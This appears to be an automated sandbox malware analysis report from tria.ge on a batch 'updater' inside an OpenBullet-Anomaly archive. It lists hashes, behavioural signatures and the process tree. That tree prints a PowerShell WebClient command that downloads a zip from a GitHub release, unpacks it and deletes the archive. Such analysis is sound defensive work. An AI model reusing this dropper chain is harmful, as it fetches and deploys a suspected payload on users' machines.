Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27/02/2024, 21:54
Static task
static1
Behavioral task
behavioral1
Sample
OpenBullet-Anomaly-main.zip
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
OpenBullet-Anomaly-main.zip
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
OpenBullet-Anomaly-main/AnomalyUpdater.bat
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
OpenBullet-Anomaly-main/AnomalyUpdater.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
OpenBullet-Anomaly-main/OpenBulletCLI/Program.js
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
OpenBullet-Anomaly-main/OpenBulletCLI/Program.js
Resource
win10v2004-20240226-en
General
-
Target
OpenBullet-Anomaly-main/AnomalyUpdater.bat
-
Size
1KB
-
MD5
41a80a691d9f594e851c23ed0b480aff
-
SHA1
16418323182ec7cff740134cf65857dcfb023eb1
-
SHA256
93275ad49c569fb8daef227bd5b2a8fd450e69a02702b0d2efa3f1d1d6e4f4b5
-
SHA512
41b8db5a4ba8c93c9b164161b681f4329c6344a0644cf136c87c4493e094ba6d35141e5510ad76d5336b9cd006c8414a0fb75f94bab050acec08591697f5dad9
Malware Config
Extracted
https://github.com/OpenBulletAnomaly/OpenBullet-Anomaly/releases/download/1.4.5/OpenBullet-v1.4.5.zip
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 9 4848 powershell.exe 11 4848 powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4848 powershell.exe 4848 powershell.exe 2084 powershell.exe 2084 powershell.exe 4684 powershell.exe 4684 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4848 powershell.exe Token: SeDebugPrivilege 2084 powershell.exe Token: SeDebugPrivilege 4684 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4780 wrote to memory of 4848 4780 cmd.exe 91 PID 4780 wrote to memory of 4848 4780 cmd.exe 91 PID 4780 wrote to memory of 2084 4780 cmd.exe 95 PID 4780 wrote to memory of 2084 4780 cmd.exe 95 PID 4780 wrote to memory of 4684 4780 cmd.exe 96 PID 4780 wrote to memory of 4684 4780 cmd.exe 96
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OpenBullet-Anomaly-main\AnomalyUpdater.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell (New-Object System.Net.WebClient).Downloadfile('https://github.com/OpenBulletAnomaly/OpenBullet-Anomaly/releases/download/1.4.5/OpenBullet-v1.4.5.zip', 'OpenBullet-v1.4.5.zip')2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4848
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Expand-Archive -Path OpenBullet-v1.4.5.zip -DestinationPath OpenBullet-1.4.5 -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2084
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Remove-Item -Path OpenBullet-v1.4.5.zip -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4684
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD58d9203687bea06f8b8f3fce37b736721
SHA1a120c7b4d2176b2c0aa77de333c895460b8b8ecf
SHA2565dd4d2136f9a1360718f4a7fc3b04975698888311ebb3904d33654add9f35427
SHA5122c47e8bb644616c42a4db97496cbc2ddc49114a12f4b020a5c74d8494da27eef812b485ee8786233b34067c01bd576630bd702182f1ef53d4b275e61f18f8ea7
-
Filesize
1KB
MD50f6a3762a04bbb03336fb66a040afb97
SHA10a0495c79f3c8f4cb349d82870ad9f98fbbaac74
SHA25636e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
SHA512cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69
-
Filesize
25.1MB
MD56d0250817d4bbf90e0848fcbf614facd
SHA13f208b85f0af1bb57b8f0eea0d791b560194fc4e
SHA2567906a5cace1786fda3f361214eec9b43122d0eaeaf58aa1f47db60d04414a3f0
SHA512ab08371a2037454d80641885df8d8e48ad1d7c015bdc111ed5f9ec56a019713e7725aa24d02b6d0b6ed80d365924f041eb07c99b1a3c0a63cf82eb430bf3f853
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82